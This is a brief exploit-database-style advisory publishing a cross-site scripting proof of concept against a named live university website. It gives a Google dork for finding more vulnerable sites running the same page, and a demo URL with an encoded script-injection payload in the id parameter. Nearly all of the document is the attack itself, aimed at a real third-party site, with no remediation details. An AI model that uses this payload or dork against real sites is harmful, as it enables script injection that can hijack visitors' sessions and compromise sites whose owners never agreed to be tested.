**************************** #Exploit Title: daihocpccc - Cross Site Scripting Vulnerability (XSS) #Date: 08/27/2022 #Exploit Author: Mahdi Nikan #Vendor Homepage: https://daihocpccc.edu.vn #Google Dork: inurl:index.php?id= #Tested On: Ubuntu Proof of Concept: 1-Search dork 2-https://daihocpccc.edu.vn/tc/index.php?id=001" > [XSS Inject Payload ] Demo: https://daihocpccc.edu.vn/tc/index.php?id=001%3C?%20echo('%3CSCR)';echo('IPT%3Ealert(%22XSS%22)%3C/SCRIPT%3E');%20?%3E%0A ************************************************** #Discovered by: Mahdi Nikan #Email : mahdinikan67@gmail.com **************************************************